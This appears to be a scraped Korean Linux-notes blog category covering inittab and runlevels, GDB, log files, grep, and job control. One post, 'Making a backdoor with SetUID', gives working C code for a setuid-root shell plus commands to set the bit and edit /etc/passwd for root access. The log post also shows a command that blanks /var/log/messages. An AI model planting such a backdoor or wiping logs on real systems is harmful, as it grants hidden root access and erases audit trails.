336x280(권장), 300x250(권장), 250x250, 200x200 크기의 광고 코드만 넣을 수 있습니다.

1. init 프로세스와 inittab 파일
pid 1 번인 init 프로세스는 사용자들을 위해서 시스템을 설정하게 된다.
pid 0 인 프로세스가 초기화된 커널의 바탕에서 나머지 작업을 수행한다.
  - init 프로세스(/sbin/init)가 하는일
    1) 파일시스템 구조 검사
    2) 파일시스템 마운트(mount프로그램이 아닌 커널의 Virtual File System에서 마운트)
    3) 서버에 데몬을 로드한다.
    4) 사용자의 로그인을 기다린다.
    5) 사용자가 로그인 하면, 사용자를 위한 Shell을 로드한다.


init 가 처음 시작해서 수행해야 할 작업들을 설정한 파일은 "/etc/inittab"
init 는 새로운 실행레벨에서 실행할 프로세스를 결정하기 위해서 항상 이 파일을 참조


inittab 파일은 시스템의 상태에 따라서 해당하는 런레벨에서 init 프로세스가 수행해야 할 일들을 서술해 놓은 파일이다.
init 프로그램은 inittab 파일을 참조하여 새로운 런레벨에서 실행할 수 없는 프로세스가 만약 지금 실행중이면 그 프로세스를 죽이고,

새로운 런레벨 에서 실행해야만 하는 프로세스 중 현재 실행되고 있지 않은 프로세스는 새로 실행을 시킨다.



2. runlevel (/etc/inittab)

- 런레벨은 선택된 그룹의 프로세스만 시스템에서 실행되도록 허락 하기 위해 만든 소프트웨어 설정

- init 프로그램은 BSD 스타일과 system V 스타일의 두종류가 존재한다. 레드햇계열에서는 system V 스타일을 사용한다.


각 런레벨(ren level) 에 대한 대략적인 내용이 명시되어 있다.

# Default runlevel. The runlevels used by RHS are:
# 0 - halt (Do NOT set initdefault to this)     //시스템을 종료
# 1 - Single user mode                         //싱글 유저 모드에서 사용되는 레벨, 프롬프트에서 "linux single" 입력시 런레벨 1에서 시작
# 2 - Multiuser, without NFS (The same as 3, if you do not have networking)    //NFS 를 지원하지 않는 다중 사용자 모드를 정의
# 3 - Full multiuser mode                      //네트워킹을 지원하는 다중 사용자 모드
# 4 - unused                    //사용자 정의 있는 런레벨, 원하는 데몬이나 서비스를 /etc/rc.d/rc4.d 내에 위치
# 5 - X11                      // X를 실행시키기 위한 런레벨
# 6 - reboot (Do NOT set initdefault to this)    //시스템을 재부팅시키도록 정의된 런레벨

............

id:3:initdefault:              //id:run-levels:action:process, 디폴트런레벨, 0 또는 6 옵션지정에 의한 무한부팅 시 lilo에 옵션을 주어 변경

# System initialization.
si::sysinit:/etc/rc.d/rc.sysinit

l0:0:wait:/etc/rc.d/rc 0
l1:1:wait:/etc/rc.d/rc 1
l2:2:wait:/etc/rc.d/rc 2
l3:3:wait:/etc/rc.d/rc 3
l4:4:wait:/etc/rc.d/rc 4
l5:5:wait:/etc/rc.d/rc 5
l6:6:wait:/etc/rc.d/rc 6

............

# Run gettys in standard runlevels
1:2345:respawn:/sbin/mingetty tty1
2:2345:respawn:/sbin/mingetty tty2
3:2345:respawn:/sbin/mingetty tty3
4:2345:respawn:/sbin/mingetty tty4
5:2345:respawn:/sbin/mingetty tty5
6:2345:respawn:/sbin/mingetty tty6

............



3. man inittab

id:run-levels:action:process


id : label, 식별자, 최대 4자리, "예) tty1 > 1:2345:respawn:/sbin/mingetty tty1"

run-levels : 런레벨

action : 어떤방식으로 실행할지 설정

process : 프로세스의 실행파일의 경로와 프로세스에 넘겨줄 인수, 이 필드에 `+' 문자가 제일 앞에 오면, init는 그 처리과정에서 utmp, wtmp 처리를 하지 않게 한다. `+' 문자는 gettys에서 스스로 utmp/wtmp를 처리할 경우 필요하다.


※ action의 종류

wait : 프로세스를 실행하고, 다음 줄의 엔트리로 가지 말고, 실행한 프로세스가 종료할때까지 대기한다.
respawn : 프로세스를 실행하고, 그 프로세스가 죽게 되면, 다시 실행시키라는 의미, 주로 getty 등의 프로세스
initdefault : 디폴트 런레벨을 지정, 런레벨 3을 디폴트 런레벨로 지정한다는 의미

               즉, 시스템의부트 프로세스가 종료된 후에 진입할 런레벨을 가리키는 엔트리
               initdefault 사용 시 process 필드는 아무런 의미가 없게 된다.
off : 아무것도 하지 말라는 뜻
once :  이미 실행되고 있는 프로세스라면 실행하지 말고, 실행되고 있지 않으면 한번만 실행, wait처럼 대기하지 않는다.

boot : 시스템 부팅시에 실행되어야 할 프로세스를 가리킨다. run-levels 필드는 아무런 의미가 없게 된다.

bootwait : 프로세스가 시스템 부팅시에 실행되도록 지정한다. (예: /etc/rc)
sysinit : 프로세스가 시스템 부트시에 실행, 이 엔트리는 다른 boot 나 bootwait 엔트리들이 실행되기 전에 실행되며,

run-levels 필드는 무시한다.
powerwait : init 프로세스가 SIGPWR 시그널을 받으면 실행되는 프로세스

            SIGPWR 시그널은 전원과 관련해서 무엇인가 문제가 있음을 가리키는 시그널이며,

init 는 프로세스가 종료되기까지 대기한다.

powerfail : powerwait 항목과 비슷하지만 프로세스가 종료되기까지 대기하지 않고 바로 실행한다는 점에서 다르다.
powerokwait : 이 엔트리도 init 가 SIGPWR 시그널을 받으면 실행될 프로세스를 지정하지만,

              이 엔트리에서 지정된 프로세스는 /etc/powerstatus 파일에 OK 라는 단어가 있을 때만 실행된다.
              즉, 전원이 다시 돌아왔을 때만 실행

ctrlaltdel : init 가 SIGINT 시그널을 받게 되면 실행할 프로세스를 지정한다.

             즉, 시스템 콘솔에서 CTRL-ALT-DEL 키를 눌렀을 때 이 엔트리에서 지정한 프로세스가 실행된다.
kbrequest : 이 엔트리에서 지정하는 프로세스는 init가 키보드 핸들러로부터

콘솔에서 특수키 조합이 눌려졌다는 시그널을 받으면 실행되는 프로세스이다. 키맵과 함께 쓰일 수 있다.


'Analysis > Linux' 카테고리의 다른 글

GDB 사용  (0) 2016.06.23
리눅스 로그 분석  (0) 2016.06.21
리눅스 시스템 정보 체크  (0) 2016.06.21
grep  (0) 2016.06.21
SetUID를 이용한 백도어 제작  (0) 2016.06.21
336x280(권장), 300x250(권장), 250x250, 200x200 크기의 광고 코드만 넣을 수 있습니다.

gdb

컴파일 시 디버깅 정보 담기
 - gcc -g -o [프로그램명] [소스파일명]

실행
 - gdb [프로그램명]
 - gdb [프로그램명] [core파일명]
 - gdb [프로그램명] [실행중인프로세스pid]

종료 : q 또는 Ctrl + d

참고 : http://psyoblade.egloos.com/2653919

'Analysis > Linux' 카테고리의 다른 글

[리눅스] init&inittab  (0) 2016.08.16
리눅스 로그 분석  (0) 2016.06.21
리눅스 시스템 정보 체크  (0) 2016.06.21
grep  (0) 2016.06.21
SetUID를 이용한 백도어 제작  (0) 2016.06.21
336x280(권장), 300x250(권장), 250x250, 200x200 크기의 광고 코드만 넣을 수 있습니다.

리눅스 로그 분석
리눅스에서는 /var/log 디렉토리에 시스템의 모든 로그를 기록 및 관리하고 일반적으로 텍스트 형식으로 저장되어 있다.
시스템의 /etc/syslog.conf 파일에는 거의 모든 시스템 로그파일들의 위치를 지정하고 있다.
간단한 문서 편집기나 cat 또는 less 명령어를 통해 그 내용을 볼 수 있다.

그러나 일부 로그 파일의 경우엔 텍스트 형식이 아닌데
btmp와 wtmp로 되어 있어서 각각 lastb와 last라는 명령어를 통해 그 내용을 확인할 수 있다.

/var/log
- boot.log : 리눅스가 부팅이 될때 뿌려주는 모든 메시지를 기록하고 있다.
- cron : 시스템의 정기적인 작업에 대한 로그를 기록하고 있다.

/etc/밑에 있는 파일들중 cron.hourly, cron.daily, cron.weekly, cron.monthly 파일들은 각각 시간별, 일별, 주별, 월별로 정기적으로 실행
- 작업을 한 후에는 /var/log/cron파일에 기록을 남기게 된다.
- message : 운영체제에서 보내주는 실시간 로그를 관리하고 있으며 주로 콘솔로 이 메시지는 실시간으로 보여준다.
- secure : 시스템의 접속에 관한 로그파일로서 언제, 누가, 어디에서 어떻게 접속을 했는가에 대한 로그를 기록하고 있다.
- xferlog : ftp로 로그인하는 사용자에 대한 로그를 기록하는 파일로서 /etc/ftpaccess에 그 설정파일을 가지면 ftp의 홈디렉토리는 /home/ftp이다.
- /var/spool에는 작업중에 일시적으로 저장되는 로그 및 작업들에 대한 기록이 남겨진다.
- /var/spool/mail
  * "elm -f ID"를 실행하면 사용자의 메일을 확인할 수 있다.

로그 파일을 점검할 때, 문제를 해결하기 위하여 리눅스에는 logrotate라는 프로그램을 사용한다.
이를 이용하면 주기적으로 로그 파일을 백업을 하고 일정 기간이 지나면 로그 파일을 삭제 정리한다.
레드햇 리눅스의 경우엔 /etc/logrotate.conf 라는 설정 파일이 있으며 이를 통해 logrotate를 설정할 수 있다.

로그파일 삭제하는 방법
cat /dev/null > /var/log/messages

리눅스 Log파일 종류
/dev/console [콘솔에 뿌려지는 메시지들(콘솔로그)]
/var/log/messages [모든 데몬의 시스템 로그]
/var/log/cron [crond 데몬 로그파일]
/var/log/maillog [sendmail,pop등의 메일관련 데몬의 로그]
/var/log/secure [보안인증 관련 메시지]
/var/log/xferlog [ftp(proftpd, vsftpd) 로그]
/dev/console [콘솔 로그]
/var/log/dmesg [부팅될 당시에 각종 메시지들을 저장]
/var/log/wtmp [시스템 전체 로그인 기록을 저장]
/var/log/utmp [현재 로그인 사용자에 대한 기록, 사용자 IP저장]
/var/log/lastlog [현재 로그인 사용자에 대한 기록]
/var/log/spooler [uucp, new 장치에서 위급상태(crit)이상인 메시지 기록]
/var/log/httpd/access_log [아파치 웹서버의 로그들을 기록]
/var/log/httpd/error_log [아파치 웹서버의 에러들을 저장]

lastlog [ -u 계정명 ] [ -t 일자 ] //시스템 각 계정의 최근 접속정보를 확인
- lastlog 는 /etc/passwd 파일에 정의되어 있는 모든 계정의 최근 접속정보를 확인
- 주로 서버의 보안점검을 위하여 필수적으로 확인, 간단히 lastlog 라고만 하면 모든 계정의 마지막 접속정보를 출력
- lastlog 는 /var/log/lastlog 파일의 정보에 저장된 정보를 참조하여 결과를 출력
- /var/log/lastlog 파일은 바이너리파일로 되어있기 때문에 cat 이나 vi 등의 일반적인 방법으로는 확인할 수 없다.
- /var/log/lastlog 파일에는 각 계정의 최근 접속정보가 기록되는 파일이며 /usr/include/lastlog.h 파일에 정의 된 포맷으로 /var/log/lastlog에 저장

시스템 각 계정의 최근 접속정보 확인
- 간단히 lastlog 라고만 하면 서버의 모든 계정에 대한 최근 접속정보를 확인
- lastlog

특정 계정사용자의 시스템 최근 접속정보 확인
- 특정 계정만의 최근 접속정보를 확인하고자 한다면 -u 옵션과 함께 사용
- lastlog -u stkim

지정한 최근까지의 시스템 접속정보 확인
- lastlog 는 최근 몇 일까지의 마지막 접속정보를 확인 할 수도 있음.
- "last -t 일자" 지정된 일자까지에 접속한 최근 접속정보를 확인
- lastlog -t 30

'Analysis > Linux' 카테고리의 다른 글

[리눅스] init&inittab  (0) 2016.08.16
GDB 사용  (0) 2016.06.23
리눅스 시스템 정보 체크  (0) 2016.06.21
grep  (0) 2016.06.21
SetUID를 이용한 백도어 제작  (0) 2016.06.21
336x280(권장), 300x250(권장), 250x250, 200x200 크기의 광고 코드만 넣을 수 있습니다.

System Information checking
 - The number of CPU cores (cat /proc/cpuinfo)
 - CPU frequency (cat /proc/cpuinfo)
 - CPU usage (cat /proc/stat)
 - The host's IP (from /proc/net/route)
 - The gate MAC address (cat /proc/net/arp)
 - The amount of RAM (cat /proc/meminfo)
 - The volume of data transmitted and received (cat /proc/net/dev)
 - The OS name and version (uname -a)


참고 : http://news.drweb.com/?i=5801&c=5&lng=en&p=0

'Analysis > Linux' 카테고리의 다른 글

GDB 사용  (0) 2016.06.23
리눅스 로그 분석  (0) 2016.06.21
grep  (0) 2016.06.21
SetUID를 이용한 백도어 제작  (0) 2016.06.21
[리눅스] 프로세스 백그라운드 실행  (0) 2016.06.21
336x280(권장), 300x250(권장), 250x250, 200x200 크기의 광고 코드만 넣을 수 있습니다.

1. 사용 형식
grep [<option>] 문자열 [대상파일]

2. 옵션

<option>
-i : 영문의 대소문자를 구별하지 않는다.
-v : pattern을 포함하지 않는 라인을 출력한다.
-n : 검색 결과의 각 행의 선두에 행 번호를 넣는다(first line is 1).
-l : 파일명만 출력한다.
-c : 패턴과 일치하는 라인의 개수만 출력한다.
-r : 하위 디렉토리까지 검색한다.


3. 사용 예
grep hello test.c
-> test.c 라는 파일에서 hello 라는 문구가 들어간 모든 행을 찾아 출력한다.
grep -n hello test.c
-> test.c 라는 파일에서 hello 라는 문구가 들어간 모든 행을 보여주며, 라인까지 출력한다.
grep -r hellow test
-> test 라는 폴더내의 모든 파일중에 hello 라는 문구가 들어간 행을 출력한다.
grep -i hellow test.c
-> test.c 라는 파일에서 hellow 라는 문구를 대,소문자 구분 없이 검색해서 출력한다.
grep -E "aa|bb|cc" test.c
-> tst.c 라는 파일에서 aa 또는 bb 또는 cc 가 있는 모든 행을 찾아 출력한다.


참고 : http://forum.falinux.com/

'Analysis > Linux' 카테고리의 다른 글

GDB 사용  (0) 2016.06.23
리눅스 로그 분석  (0) 2016.06.21
리눅스 시스템 정보 체크  (0) 2016.06.21
SetUID를 이용한 백도어 제작  (0) 2016.06.21
[리눅스] 프로세스 백그라운드 실행  (0) 2016.06.21
336x280(권장), 300x250(권장), 250x250, 200x200 크기의 광고 코드만 넣을 수 있습니다.

#vi backdoor.c  //파일제작

#include<stdio.h>
main(){
     setuid(0);
     setgid(0);
     system("/bin/sh");

}

#gcc -o backdoor backdoor.c //컴파일

#chmod 4755 backdoor //일반권한 설정


#./backdoor //실행


#vi /etc/passwd  //일반사용자 id로 접근이 가능해진다.
                      //자신의 일반사용자 id를 찾아 관리자 권한과 동일한 권한을 갖도록 수정

#passwd root

'Analysis > Linux' 카테고리의 다른 글

GDB 사용  (0) 2016.06.23
리눅스 로그 분석  (0) 2016.06.21
리눅스 시스템 정보 체크  (0) 2016.06.21
grep  (0) 2016.06.21
[리눅스] 프로세스 백그라운드 실행  (0) 2016.06.21
336x280(권장), 300x250(권장), 250x250, 200x200 크기의 광고 코드만 넣을 수 있습니다.

리눅스 - 프로세스 백그라운드 실행
top &

top을 백그라운드로 실행
jobs

백그라운드로 실행되는 프로그램을 확인
fg %1

백그라운드로 실행되는 top명령을 다시 불러움

'Analysis > Linux' 카테고리의 다른 글

GDB 사용  (0) 2016.06.23
리눅스 로그 분석  (0) 2016.06.21
리눅스 시스템 정보 체크  (0) 2016.06.21
grep  (0) 2016.06.21
SetUID를 이용한 백도어 제작  (0) 2016.06.21

+ Recent posts